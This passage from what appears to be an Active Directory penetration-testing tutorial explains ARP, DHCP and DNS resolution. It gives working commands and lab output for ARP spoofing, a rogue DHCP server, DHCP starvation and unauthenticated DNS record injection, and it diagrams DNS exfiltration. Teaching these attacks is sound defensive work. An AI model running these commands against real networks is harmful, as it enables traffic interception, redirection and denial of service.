approach is used<br \/>\nby protocols like <a href=\"#netbios\">NetBIOS<\/a>, <a href=\"#llmnr\">LLMNR<\/a> or <a href=\"#mdns\">mDNS<\/a>, where any computer in the network<br \/>\ncan respond to the request, so an attacker could listen waiting for<br \/>\nrequests and respond them identify itself as the target computer.<\/li>\n<\/ol>\n<\/dd>\n<dt>\nIP-MAC resolution<\/dt>\n<dd>\nOnce the IP is identified, the computers need to know to which computer<br \/>\n(network card) belongs that IP, so they ask for its MAC. For this they use the<br \/>\n<a href=\"#arp\">ARP<\/a> protocol that works by sending a broadcast request to the internal network<br \/>\nand waiting to the correct host to identify itself. The attacker could respond<br \/>\nto the request identifying itself as the target to receive the connection.<\/dd>\n<dt>\nIP configuration<\/dt>\n<dd>\nIn order to use an IP and being able to found the central server to resolve<br \/>\nIPs, computers need to be configured. This configuration can be done manually<br \/>\nfor each computer or it can be done by using a protocol like <a href=\"#dhcp\">DHCP<\/a>, where a<br \/>\nserver provides with configuration options to the computers of the network.<\/p>\n<p>However, since computers don&#8217;t have anything configured when they talk with<br \/>\nthe DHCP server, they need to look blindly for it by sending broadcast<br \/>\nrequests that any other machine can respond. So there is an opportunity for an<br \/>\nattacker to misconfigure it by responding to these requests and providing to the<br \/>\nclient fake configuration parameters, usually pointing to a DNS server<br \/>\ncontrolled by the attacker.<\/dd>\n<\/dl>\n<p>So, let&#8217;s see how address resolution can be attacked in Active Directory and<br \/>\nother computer networks.<\/p>\n<h3 id=\"arp\">\nARP<\/h3>\n<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/Address_Resolution_Protocol\">ARP<\/a> (Address Resolution Protocol) is a link layer protocol heavily used in<br \/>\nnetwork that allows to map the relation between the IP address of a computer and<br \/>\nits MAC (Media Access Control) address.<\/p>\n<p>In order to do that, the client machine sends an Ethernet broadcast ARP request<br \/>\nto the local network, asking for the one that has the target IP address. Then<br \/>\nthe computer with that IP should respond identifying its MAC. Finally the client<br \/>\nsends the application packets to that Ethernet address.<\/p>\n<figure>\n<pre>                                                   .---.\n                                                  \/   \/|\n                                                 .---. |\n                                       .-------&gt; |   | '\n                                       |         |   |\/ \n                                       |         '---'  \n   .---.                               |\n  \/   \/|                               |           .---.\n .---. |    1) Who is 192.168.1.5?     |          \/   \/|\n |   | ' &gt;--------&gt;&gt;-------------------.-------&gt; .---. |\n |   |\/                                |         |   | '\n '---'   &lt;---------.                   |         |   |\/ \n                   |                   |         '---'  \n                   |                   |\n                   |                   |           .---.\n                   |                   |          \/   \/|\n                   |                   '-------&gt; .---. |\n                   |                             |   | '\n                   '-&lt;&lt;------------------------&lt; |   |\/ \n                     2)  I am 192.168.1.5        '---'  \n                      (MAC 01:02:03:04:05:06)\n<\/pre><figcaption>\nARP resolution<br \/>\n<\/figcaption><\/figure>\n<h4 id=\"arp-spoof\">\nARP spoof<\/h4>\n<p>Even if usually is the correct computer the one that respond to the ARP request,<br \/>\nit is possible for any computer to respond to it. So, an attacker could respond<br \/>\nto all the ARP requests trying to impersonate other computers.<\/p>\n<p>However, computers do not perform a ARP request any time they need to<br \/>\ncommunicate with the target, but they keep the previous responses in a local ARP<br \/>\ncache.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ arp -n\nAddress                  HWtype  HWaddress           Flags Mask            Iface\n192.168.1.101            ether   e4:fd:a1:09:bf:a1   C                     wlp1s0\n192.168.1.1              ether   00:e0:4c:d8:ca:89   C                     wlp1s0<\/code><\/pre><figcaption>\nShow the ARP cache<br \/>\n<\/figcaption><\/figure>\n<p>By keeping the ARP cache, computers reduce the number of request that it needs<br \/>\nto perform. However, computers also listen ARP responses for changes without<br \/>\nperforming requests, so an attacker could send periodic replies in order to<br \/>\npoison the victim ARP cache.<\/p>\n<figure>\n<pre>        1)  I am 192.168.1.1           1)    I am 192.168.1.101    \n         (MAC de:ad:be:ef:13:37)        (MAC de:ad:be:ef:13:37)\n     .--------------&lt;&lt;&lt;------------. .-------------&gt;&gt;&gt;---------------.\n     |                             | |                               |\n     v                             ^ ^                               v\n   .---.   2) To 192.168.1.1      .---.   3) To 192.168.1.1        .---.\n  \/   \/| --------&gt;&gt;&gt;---------&gt;   \/   \/| --------&gt;&gt;&gt;------------&gt;  \/   \/|\n .---. |                        .---. |                          .---. |\n |   | '   5) To 192.168.1.101  |   | '   4) To 192.168.1.101    |   | '\n |   |\/  &lt;-------&lt;&lt;&lt;----------  |   |\/  &lt;-------&lt;&lt;&lt;------------- |   |\/ \n '---'                          '---'                            '---'  \n192.168.1.101                   192.168.1.137                   192.168.1.1\ne4:fd:a1:09:bf:a1            de:ad:be:ef:13:37              00:e0:4c:d8:ca:89\n<\/pre><figcaption>\nARP spoof attack<br \/>\n<\/figcaption><\/figure>\n<p>You can perform an ARP spoofing\/poisoning attack with tools like <a href=\"https:\/\/www.ettercap-project.org\/\">ettercap<\/a>,<br \/>\n<a href=\"https:\/\/github.com\/bettercap\/bettercap\">bettercap<\/a>, <a href=\"https:\/\/github.com\/smikims\/arpspoof\">arpspoof<\/a> or <a href=\"https:\/\/github.com\/Zer1t0\/arplayer\">arplayer<\/a>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ .\/arplayer spoof -I wlp1s0 -vvv -F -b 192.168.1.101 192.168.1.1\nSpoofing - telling 192.168.1.101 (e4:fd:a1:09:bf:a1) that 192.168.1.1 is 00:e0:4c:d8:ca:89 (192.168.1.107) every 1.0 seconds (until Ctrl-C)\nINFO - 192.168.1.1-de:ad:be:ef:13:37 -&gt; 192.168.1.101-e4:fd:a1:09:bf:a1\nINFO - 192.168.1.101-de:ad:be:ef:13:37 -&gt; 192.168.1.1-00:e0:4c:d8:ca:89\nINFO - 192.168.1.1-de:ad:be:ef:13:37 -&gt; 192.168.1.101-e4:fd:a1:09:bf:a1\nINFO - 192.168.1.101-de:ad:be:ef:13:37 -&gt; 192.168.1.1-00:e0:4c:d8:ca:89\nINFO - 192.168.1.1-de:ad:be:ef:13:37 -&gt; 192.168.1.101-e4:fd:a1:09:bf:a1\nINFO - 192.168.1.101-de:ad:be:ef:13:37 -&gt; 192.168.1.1-00:e0:4c:d8:ca:89<\/code><\/pre><figcaption>\nARP spoof attack with arplayer<br \/>\n<\/figcaption><\/figure>\n<h4 id=\"arp-scan\">\nARP Scan<\/h4>\n<p>Other interesting possibility using ARP is to request all the IPs in the network<br \/>\nin order to check the ARP responses and discover what hosts are active. This<br \/>\ntechnique is known as ARP scan.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ .\/arplayer scan -I wlp1s0 -w 10 -t 1000\n192.168.1.1 00:e0:4c:d8:ca:89\n192.168.1.101 e4:fd:a1:09:bf:a1<\/code><\/pre><figcaption>\nARP scan<br \/>\n<\/figcaption><\/figure>\n<h3 id=\"dhcp\">\nDHCP<\/h3>\n<p>DHCP (Dynamic Host Configuration Protocol) is a protocol that helps to configure<br \/>\ndynamic IP addresses for the computers of a network. It is an application<br \/>\nprotocol that works over UDP. It uses the port 67\/UDP in the server and requires<br \/>\nthe client to send the messages from the port 68\/UDP.<\/p>\n<figure>\n<pre> client                         server\n -----.                        .-----\n      |                        |\n     ---.      .------.      .---\n 68\/UDP |&gt;----&gt;| DHCP |&gt;----&gt;| 67\/UDP\n     ---'      '------'      '---\n      |                        |\n -----'                        '-----\n<\/pre><figcaption>\nDHCP ports<br \/>\n<\/figcaption><\/figure>\n<p>In DHCP, the new clients of the network search for the DHCP server to get a correct<br \/>\nconfiguration that allows them to interact with the rest of the network. This<br \/>\nprocess of configuration is divided in four phases:<\/p>\n<ol>\n<li><strong>Server discovery<\/strong>: The client asks for a IP address by sending a broadcast<br \/>\nmessage, to the 255.255.255.255 address or the network broadcast address, in<br \/>\norder to reach the DHCP server.<\/li>\n<li><strong>IP lease offer<\/strong>: The server answers (also to broadcast) with an IP<br \/>\naddress that offers to the client, as well as other configuration options.<\/li>\n<li><strong>IP lease request<\/strong>: The client receives the offered IP and sends a message<br \/>\nto request it.<\/li>\n<li><strong>IP lease acknowledge<\/strong>: The server confirms that the client can use the<br \/>\nchoosen IP address. Also, it includes several configuration options like the<br \/>\nIP renewal time.<\/li>\n<\/ol>\n<p>This phases are usually abreviated as DORA (Discovery, Offer, Request,<br \/>\nAcknowledge) and are triggered when a computer joins to a network. DHCP<br \/>\nconfiguration can also be triggered manually with the <code>dhclient<\/code> command in<br \/>\nLinux and <code>ipconfig \/renew<\/code> in Windows.<\/p>\n<figure>\n<pre>  client        server\n    |             |\n    |  discovery  |\n    | ----------&gt; |\n    |             |\n    |    offer    |\n    | &lt;---------- |\n    |             |\n    |   request   |\n    | ----------&gt; |\n    |             |\n    | acknowledge |\n    | &lt;---------- |\n    |             |\n<\/pre><figcaption>\nDHCP phases<br \/>\n<\/figcaption><\/figure>\n<p>Between the <a href=\"https:\/\/linux.die.net\/man\/5\/dhcp-options\">many configuration options<\/a>, the following can be interesting:<\/p>\n<figure>\n<table>\n<thead>\n<tr>\n<th>Code<\/th>\n<th>Name<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>3<\/td>\n<td>Gateway IP (Router)<\/td>\n<\/tr>\n<tr>\n<td>6<\/td>\n<td>DNS server IP<\/td>\n<\/tr>\n<tr>\n<td>15<\/td>\n<td>Domain name<\/td>\n<\/tr>\n<tr>\n<td>44<\/td>\n<td>NetBIOS name (WINS) server IP<\/td>\n<\/tr>\n<tr>\n<td>54<\/td>\n<td>DHCP server IP<\/td>\n<\/tr>\n<tr>\n<td>252<\/td>\n<td>WPAD configuration file<\/td>\n<\/tr>\n<\/tbody>\n<\/table><figcaption>\nDHCP options<br \/>\n<\/figcaption><\/figure>\n<p>In order to check the options provided by the network DHCP server, in Windows you can<br \/>\nexaminate the configuration of your network interface (if its configured to use<br \/>\nDHCP) with <code>ipconfig \/all<\/code>. However, in Linux, different DHCP options configure<br \/>\ndifferent files, for example, to check the DNS server, you should check<br \/>\n<code>\/etc\/resolv.conf<\/code> file, or use <code>ip route<\/code> to get the default gateway.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"cmd\">C:Usersmahyar&gt;ipconfig \/all\nWindows IP Configuration\n   Host Name . . . . . . . . . . . . : ws01-10\n   Primary Dns Suffix  . . . . . . . : contoso.local\n   Node Type . . . . . . . . . . . . : Hybrid\n   IP Routing Enabled. . . . . . . . : No\n   WINS Proxy Enabled. . . . . . . . : No\n   DNS Suffix Search List. . . . . . : contoso.local\nEthernet adapter Ethernet:\n   Connection-specific DNS Suffix  . : contoso.local\n   Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection #2\n   Physical Address. . . . . . . . . : 52-54-00-76-87-BB\n   DHCP Enabled. . . . . . . . . . . : Yes\n   Autoconfiguration Enabled . . . . : Yes\n   IPv4 Address. . . . . . . . . . . : 192.168.100.3(Preferred)\n   Subnet Mask . . . . . . . . . . . : 255.255.255.0\n   Lease Obtained. . . . . . . . . . : 30 November 2020 12:20:13\n   Lease Expires . . . . . . . . . . : 08 December 2020 20:20:13\n   Default Gateway . . . . . . . . . : 192.168.100.2\n   DHCP Server . . . . . . . . . . . : 192.168.100.2\n   DNS Servers . . . . . . . . . . . : 192.168.100.2\n   Primary WINS Server . . . . . . . : 192.168.100.2\n   NetBIOS over Tcpip. . . . . . . . : Disabled<\/code><\/pre><figcaption>\nWindows network interface options<br \/>\n<\/figcaption><\/figure>\n<p>Additionally, you can check the options provided by the DHCP server<br \/>\nwith <a href=\"https:\/\/github.com\/Zer1t0\/dhcplayer#dhcp-server\">dhcplayer<\/a> or the nmap script <a href=\"https:\/\/nmap.org\/nsedoc\/scripts\/broadcast-dhcp-discover.html\">broadcast-dhcp-discover<\/a>. However, root\/admin<br \/>\nprivileges are required since source port 68 needs to be used.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">root@debian10:~# nmap --script broadcast-dhcp-discover -e enp7s0\nStarting Nmap 7.70 ( https:\/\/nmap.org ) at 2020-11-30 05:55 EST\nPre-scan script results:\n| broadcast-dhcp-discover: \n|   Response 1 of 1: \n|     IP Offered: 192.168.100.7\n|     DHCP Message Type: DHCPOFFER\n|     Subnet Mask: 255.255.255.0\n|     Renewal Time Value: 4d00h00m00s\n|     Rebinding Time Value: 7d00h00m00s\n|     IP Address Lease Time: 8d00h00m00s\n|     Server Identifier: 192.168.100.2\n|     WPAD: http:\/\/isalocal.contoso.local:80\/wpad.datx00\n|     Router: 192.168.100.2\n|     Name Server: 192.168.100.2\n|     Domain Name Server: 192.168.100.2\n|     Domain Name: contoso.localx00\n|_    NetBIOS Name Server: 192.168.100.2\nWARNING: No targets were specified, so 0 hosts scanned.\nNmap done: 0 IP addresses (0 hosts up) scanned in 0.52 seconds<\/code><\/pre><figcaption>\nDHCP options enumeration with nmap<br \/>\n<\/figcaption><\/figure>\n<p>Apart from enumeration, the DHCP protocol can also be abused to perform a couple<br \/>\nof attacks:<\/p>\n<ul>\n<li>DHCP starvation\/exhaustion<\/li>\n<li>Rogue DHCP server<\/li>\n<\/ul>\n<p>Let&#8217;s see how they work.<\/p>\n<h4 id=\"rogue-dhcp-server\">\nRogue DHCP server<\/h4>\n<p>Due to the descentralized nature of DHCP, any<br \/>\nmachine in the network can take the role of a DHCP server by answering to the<br \/>\nclient discovery\/request messages. Therefore, an attacker could create a rogue<br \/>\nDHCP server in order to set a custom configuration in the clients.<\/p>\n<p>Between the options that are configured by a DHCP server are the following:<\/p>\n<ul>\n<li>Gateway\/router<\/li>\n<li>DNS servers<\/li>\n<li>NetBIOS\/WINS name servers<\/li>\n<li>WPAD<\/li>\n<\/ul>\n<p>In this way, clients could be, among others things, misconfigured to send DNS<br \/>\nrequest to a rogue DNS server, that could redirect them to fake computers or<br \/>\ndomains controlled by the attacker.  In order to perform this kind of attack, it<br \/>\nis possible to use tools like <a href=\"https:\/\/github.com\/tomac\/yersinia\">yersinia<\/a> or <a href=\"https:\/\/github.com\/Zer1t0\/dhcplayer#dhcp-server\">dhcplayer<\/a>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ dhcplayer server -I eth2 --wpad http:\/\/here.contoso.local\/wpad.dat -v --domain contoso.local          \nINFO - IP pool: 192.168.100.1-192.168.100.254\nINFO - Mask: 255.255.255.0\nINFO - Broadcast: 192.168.100.255\nINFO - DHCP: 192.168.100.44\nINFO - DNS: [192.168.100.44]\nINFO - Router: [192.168.100.44]\nINFO - WPAD: http:\/\/here.contoso.local\/wpad.dat\nINFO - Domain: contoso.local\nINFO - REQUEST from 52:54:00:5d:56:b9 (debian10)\nINFO - Requested IP 192.168.100.145\nINFO - ACK to 192.168.100.145 for 52:54:00:5d:56:b9\nINFO - REQUEST from 52:54:00:76:87:bb (ws01-10)\nINFO - Requested IP 192.168.100.160\nINFO - ACK to 192.168.100.160 for 52:54:00:76:87:bb<\/code><\/pre><figcaption>\n(rogue) DHCP server with dhcplayer<br \/>\n<\/figcaption><\/figure>\n<h4 id=\"dhcp-starvation\">\nDHCP Starvation<\/h4>\n<p>The DHCP starvation attack is a DOS attacks where a fake client requests all<br \/>\navailable IP addresses that a DHCP server offers. This way, the legitimate clients<br \/>\ncannot obtain an IP address so must stay offline. It is possible to perform this<br \/>\nattack by using tools like <a href=\"https:\/\/github.com\/sgeto\/dhcpstarv\">dhcpstarv<\/a>, <a href=\"https:\/\/github.com\/tomac\/yersinia\">yersinia<\/a> or <a href=\"https:\/\/github.com\/Zer1t0\/dhcplayer#starvation-attack\">dhcplayer<\/a>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"bash\">$ dhcpstarv -i enp7s0\n08:03:09 11\/30\/20: got address 192.168.100.7 for 00:16:36:99:be:21 from 192.168.100.2\n08:03:09 11\/30\/20: got address 192.168.100.8 for 00:16:36:25:1f:1d from 192.168.100.2\n08:03:09 11\/30\/20: got address 192.168.100.9 for 00:16:36:c7:79:f2 from 192.168.100.2\n08:03:09 11\/30\/20: got address 192.168.100.10 for 00:16:36:f4:c3:e9 from 192.168.100.2\n08:03:09 11\/30\/20: got address 192.168.100.11 for 00:16:36:dc:51:a1 from 192.168.100.2\n08:03:09 11\/30\/20: got address 192.168.100.12 for 00:16:36:c2:c2:06 from 192.168.100.2\n08:03:09 11\/30\/20: got address 192.168.100.13 for 00:16:36:15:e0:74 from 192.168.100.2\n08:03:09 11\/30\/20: got address 192.168.100.14 for 00:16:36:40:1c:02 from 192.168.100.2\n08:03:09 11\/30\/20: got address 192.168.100.15 for 00:16:36:c5:9a:c3 from 192.168.100.2\n08:03:09 11\/30\/20: got address 192.168.100.16 for 00:16:36:14:1a:b3 from 192.168.100.2\n08:03:09 11\/30\/20: got address 192.168.100.17 for 00:16:36:13:45:14 from 192.168.100.2\n08:03:09 11\/30\/20: got address 192.168.100.18 for 00:16:36:14:fb:18 from 192.168.100.2\n08:03:09 11\/30\/20: got address 192.168.100.19 for 00:16:36:b2:93:90 from 192.168.100.2\n08:03:09 11\/30\/20: got address 192.168.100.20 for 00:16:36:c7:38:f9 from 192.168.100.2<\/code><\/pre><figcaption>\nDHCP starvation attack with dhcpstarv<br \/>\n<\/figcaption><\/figure>\n<h4 id=\"dhcp-discovery\">\nDHCP Discovery<\/h4>\n<p>Also DHCP can be interesting from the client point of view, since it could allow<br \/>\nyou to get some useful information about the environment, that what it is designed<br \/>\nfor.<\/p>\n<p>You can sent a DISCOVER to message to the network and check what information is<br \/>\nretrieved. Is a way to get information from an unauthenticated position, like<br \/>\nthe domain or the servers addresses, which usually are the Domain Controllers.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ dhcplayer discover -I eth2 -n\nOFFER received from 192.168.100.2\nOffered IP: 192.168.100.3\nClient MAC: 52:54:00:88:80:0c\nDHCP Server: 192.168.100.2\nOptions:\n[1] Subnet Mask: 255.255.255.0\n[58] Renewal Time: 345600\n[59] Rebinding Time: 604800\n[51] IP Address Lease Time: 691200\n[54] DHCP Server ID: 192.168.100.2\n[3] Router: 192.168.100.2\n[5] Name Server: 192.168.100.2\n[6] Domain Server: 192.168.100.2\n[15] Domain Name: contoso.local\n[44] NetBIOS Name Server: 192.168.100.2\n[77] Unknow: [0, 14, 82, 82, 65, 83, 46, 77, 105, 99, 114, 111, 115, 111, 102, 116, 0, 0, 0, 80, 0, 68, 0, 101, 0, 102, 0, 97, 0, 117, 0, 108, 0, 116, 0, 32, 0, 82, 0, 111, 0, 117, 0, 116, 0, 105, 0, 110, 0, 103, 0, 32, 0, 97, 0, 110, 0, 100, 0, 32, 0, 82, 0, 101, 0, 109, 0, 111, 0, 116, 0, 101, 0, 32, 0, 65, 0, 99, 0, 99, 0, 101, 0, 115, 0, 115, 0, 32, 0, 67, 0, 108, 0, 97, 0, 115, 0, 115, 0, 0, 0, 74, 0, 85, 0, 115, 0, 101, 0, 114, 0, 32, 0, 99, 0, 108, 0, 97, 0, 115, 0, 115, 0, 32, 0, 102, 0, 111, 0, 114, 0, 32, 0, 114, 0, 101, 0, 109, 0, 111, 0, 116, 0, 101, 0, 32, 0, 97, 0, 99, 0, 99, 0, 101, 0, 115, 0, 115, 0, 32, 0, 99, 0, 108, 0, 105, 0, 101, 0, 110, 0, 116, 0, 115, 0, 0]\n[77] Unknow: [0, 15, 66, 79, 79, 84, 80, 46, 77, 105, 99, 114, 111, 115, 111, 102, 116, 0, 0, 40, 0, 68, 0, 101, 0, 102, 0, 97, 0, 117, 0, 108, 0, 116, 0, 32, 0, 66, 0, 79, 0, 79, 0, 84, 0, 80, 0, 32, 0, 67, 0, 108, 0, 97, 0, 115, 0, 115, 0, 0, 0, 58, 0, 85, 0, 115, 0, 101, 0, 114, 0, 32, 0, 99, 0, 108, 0, 97, 0, 115, 0, 115, 0, 32, 0, 102, 0, 111, 0, 114, 0, 32, 0, 66, 0, 79, 0, 79, 0, 84, 0, 80, 0, 32, 0, 67, 0, 108, 0, 105, 0, 101, 0, 110, 0, 116, 0, 115, 0, 0]\n[252] WPAD: http:\/\/isalocal.contoso.local:80\/wpad.dat<\/code><\/pre><figcaption>\nGetting information from the DHCP server<br \/>\n<\/figcaption><\/figure>\n<h4 id=\"dhcp-dynamic-dns\">\nDHCP Dynamic DNS<\/h4>\n<p>In Active Directory you can ask (by default) to the DHCP server to <a href=\"https:\/\/www.trustedsec.com\/blog\/injecting-rogue-dns-records-using-dhcp\/\">create custom<br \/>\nDNS A records<\/a> based on the client hostname, that is indicated in the DHCP<br \/>\nrequest. This can be very useful since you don&#8217;t need any kind of<br \/>\nauthentication\/authorization for performing this operation.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; Get-DhcpServerv4DnsSetting\nDynamicUpdates             : OnClientRequest\nDeleteDnsRROnLeaseExpiry   : True\nUpdateDnsRRForOlderClients : False\nDnsSuffix                  :\nDisableDnsPtrRRUpdate      : False\nNameProtection             : False<\/code><\/pre><figcaption>\nDefault configuration of DHCP server<br \/>\n<\/figcaption><\/figure>\n<p>A client can request a DNS update of DNS A record, it needs to include the<br \/>\n<a href=\"https:\/\/datatracker.ietf.org\/doc\/html\/rfc4702\">Client FQDN (Fully Qualified Domain Name) option<\/a> in the DHCP request with the<br \/>\n&#8220;S&#8221; <a href=\"https:\/\/datatracker.ietf.org\/doc\/html\/rfc4702#section-2.1\">flag<\/a> set to 1, along with the FQDN or hostname set. The server will return<br \/>\nthe same flag set to 1 if the update was done. The new A record will point the<br \/>\nclient hostname to the acquired IP address. You can request a DNS update by<br \/>\nusing <a href=\"https:\/\/github.com\/Zer1t0\/dhcplayer#dns-dynamic-update\">dhcplayer<\/a> with the <code>--dns-update<\/code> flag.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">$ dhcplayer discover -I eth2 --dns-update -H hira\nACK received from 0.0.0.0\nAcquired IP: 192.168.100.121\nClient MAC: 52:54:00:88:80:0c\nOptions:\n[58] Renewal Time: 345600\n[59] Rebinding Time: 604800\n[51] IP Address Lease Time: 691200\n[54] DHCP Server ID: 192.168.100.240\n[1] Subnet Mask: 255.255.255.0\n[81] Client FQDN: flags: 0x1 (server-update) A-result: 255 PTR-result: 0 \n[3] Router: 192.168.100.240\n[15] Domain Name: poke.mon\n[6] Domain Server: 192.168.100.240,192.168.100.240,192.168.100.2\n$ nslookup hira.poke.mon 192.168.100.240                                                               \nServer:\t\t192.168.100.240\nAddress:\t192.168.100.240#53\nName:\thira.poke.mon\nAddress: 192.168.100.121<\/code><\/pre><figcaption>\nDynamic DNS update with dhcplayer<br \/>\n<\/figcaption><\/figure>\n<p>Since the DHCP will usually assign the same address to the same client (based on<br \/>\nthe client MAC), you can change the DNS record with multiple requests with<br \/>\ndifferent hostnames. Also, if no hostname is given, the DNS record will be<br \/>\ndeleted. It also will the delete when the DHCP lease expires.<\/p>\n<p>However, there are certain <a href=\"https:\/\/www.netspi.com\/blog\/technical\/network-penetration-testing\/adidns-revisited\/\">DNS names that are protected<\/a> by the DNS Global Query<br \/>\nBlock List (GQBL) from being resolved even if you add a DNS record. By default<br \/>\nthose are <code>wpad<\/code> and <code>isatap<\/code>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; Get-DnsServerGlobalQueryBlockList\nEnable : True\nList   : {wpad, isatap}<\/code><\/pre><figcaption>\nGet DNS Global Query Block List<br \/>\n<\/figcaption><\/figure>\n<h3 id=\"dns\">\nDNS<\/h3>\n<h4 id=\"dns-basics\">\nDNS Basics<\/h4>\n<p>DNS (Domain Name System) is a system that defines hierarchical names for<br \/>\ncomputer, services and other resources of the network. The DNS protocol is a<br \/>\nclient\/server protocol in which the server listens on ports 53\/UDP and 53\/TCP.<\/p>\n<figure>\n<pre>          .---\n DNS ---&gt; | 53\/UDP|TCP\n          '---\n<\/pre><figcaption>\nDNS ports<br \/>\n<\/figcaption><\/figure>\n<p>DNS in mainly used to resolve the DNS name of a computer to its IP<br \/>\naddress.<\/p>\n<figure>\n<pre>    client                     DNS server\n    .---.   A hackliza.gal?     .---.\n   \/   \/| ------------------&gt;  \/   \/|\n  .---. |                     .---. |\n  |   | '   185.199.111.153   |   | '\n  |   |\/  &lt;------------------ |   |\/ \n  '---'                       '---'\n<\/pre><figcaption>\nDNS query to resolve name<br \/>\n<\/figcaption><\/figure>\n<p>Apart from resolve names, DNS allows to perform other actions like mapping an<br \/>\nIP to its name or resolving the aliases for a name. The client can perform<br \/>\ndifferent queries that the server will try to answer. In order to do this, the<br \/>\nDNS servers keeps a collection of <a href=\"https:\/\/en.wikipedia.org\/wiki\/List_of_DNS_record_types\">different records<\/a>. Some types of records are<br \/>\nthe following:<\/p>\n<ul>\n<li>A: Maps a DNS name to an IPv4.<\/li>\n<li>AAAA: Maps a DNS name to an IPv6.<\/li>\n<li>CNAME (Canonical Name): Maps a DNS name known as alias to the original DNS<br \/>\nname.<\/li>\n<li>DNAME: Maps a DNS subtree.<\/li>\n<li>NS (Name Server): Indicate a DNS server for a domain.<\/li>\n<li>PTR (Pointer): Maps an IP address to a DNS name (reverse lookup).<\/li>\n<li>SOA (Start of Authority): Contains administrative information about the DNS<br \/>\nzone, such as the main DNS server or the mail of the administrator.<\/li>\n<li>SRV (Service): Indicates the host and port of a service.<\/li>\n<\/ul>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">root@debian10:~$ dig NS wikipedia.org\n; &lt;&lt;&gt;&gt; DiG 9.16.6-Ubuntu &lt;&lt;&gt;&gt; NS wikipedia.org\n;; global options: +cmd\n;; Got answer:\n;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 56753\n;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1\n;; OPT PSEUDOSECTION:\n; EDNS: version: 0, flags:; udp: 65494\n;; QUESTION SECTION:\n;wikipedia.org.\t\t\tIN\tNS\n;; ANSWER SECTION:\nwikipedia.org.\t\t6704\tIN\tNS\tns1.wikimedia.org.\nwikipedia.org.\t\t6704\tIN\tNS\tns0.wikimedia.org.\nwikipedia.org.\t\t6704\tIN\tNS\tns2.wikimedia.org.\n;; Query time: 0 msec\n;; SERVER: 127.0.0.53#53(127.0.0.53)\n;; WHEN: jue dic 03 10:14:07 CET 2020\n;; MSG SIZE  rcvd: 106<\/code><\/pre><figcaption>\nResolve DNS servers of wikipedia.org with dig<br \/>\n<\/figcaption><\/figure>\n<p>All of this records can be maintained by a DNS server (usually in a <a href=\"https:\/\/docs.fedoraproject.org\/en-US\/Fedora\/12\/html\/Deployment_Guide\/s2-bind-zone-examples.html\">text file<\/a>)<br \/>\nin order to provide information for its DNS zone.<\/p>\n<h4 id=\"dns-zones\">\nDNS zones<\/h4>\n<p>DNS is hierarchical and it is divided in<br \/>\nzones. Each zone keeps the records for a domain and its subdomains, with the<br \/>\nexception of those subdomains that have their own zones. For example the contoso<br \/>\ncompany could have the two following zones:<\/p>\n<figure>\n<pre>contoso.com\nmail.contoso.com\nwww.contoso.com\n<\/pre><figcaption>\nZone contoso.com<br \/>\n<\/figcaption><\/figure>\n<figure>\n<pre>internal.contoso.com\nit.internal.contoso.com\nadmin.internal.contoso.com\nhr.internal.contoso.com\n<\/pre><figcaption>\nZone internal.contoso.com<br \/>\n<\/figcaption><\/figure>\n<p>Each DNS zone is managed independently. This way it is easier to keep an order<br \/>\nof the records. There are many different DNS zones all over the internet, each<br \/>\none for different domains and organizations. Therefore, DNS servers needs to<br \/>\ncommunicate among them in order to provide information of other zones. For<br \/>\nexample, if you want to know the <code>www.contoso.com<\/code> IP address, your DNS server<br \/>\nneeds to communicate with contoso authoritative DNS server, that manages the<br \/>\ncontoso.com zone, in order to retrieve this information.<\/p>\n<h4 id=\"dns-exfiltration\">\nDNS exfiltration<\/h4>\n<p>This way, the DNS protocol can be an excellent ally as<br \/>\n<a href=\"https:\/\/blogs.akamai.com\/2017\/09\/introduction-to-dns-data-exfiltration.html\">exfiltration mechanism<\/a>. There are certain situations where a server is in an<br \/>\nisolated network and has no access to the internet, but it is allowed to perform<br \/>\nDNS queries in order to work properly. If the local DNS server is misconfigured<br \/>\nand performs recursive DNS requests to other DNS servers in the internet, this<br \/>\ncan be abused to bypass firewall rules and sending data to the outside.<\/p>\n<figure>\n<pre>                             local recursive           fake.com authoritative\n    client                     DNS server                   DNS server\n    .---.                        .---.                        .---.         \n   \/   \/|  websvr01.fake.com?   \/   \/|  websvr01.fake.com?   \/   \/|\n  .---. | --------local------&gt; .---. | ------internet-----&gt; .---. |\n  |   | '                      |   | '                      |   | '\n  |   |\/    40.113.200.201     |   |\/    40.113.200.201     |   |\/\n  '---'   &lt;------------------- '---'   &lt;------------------- 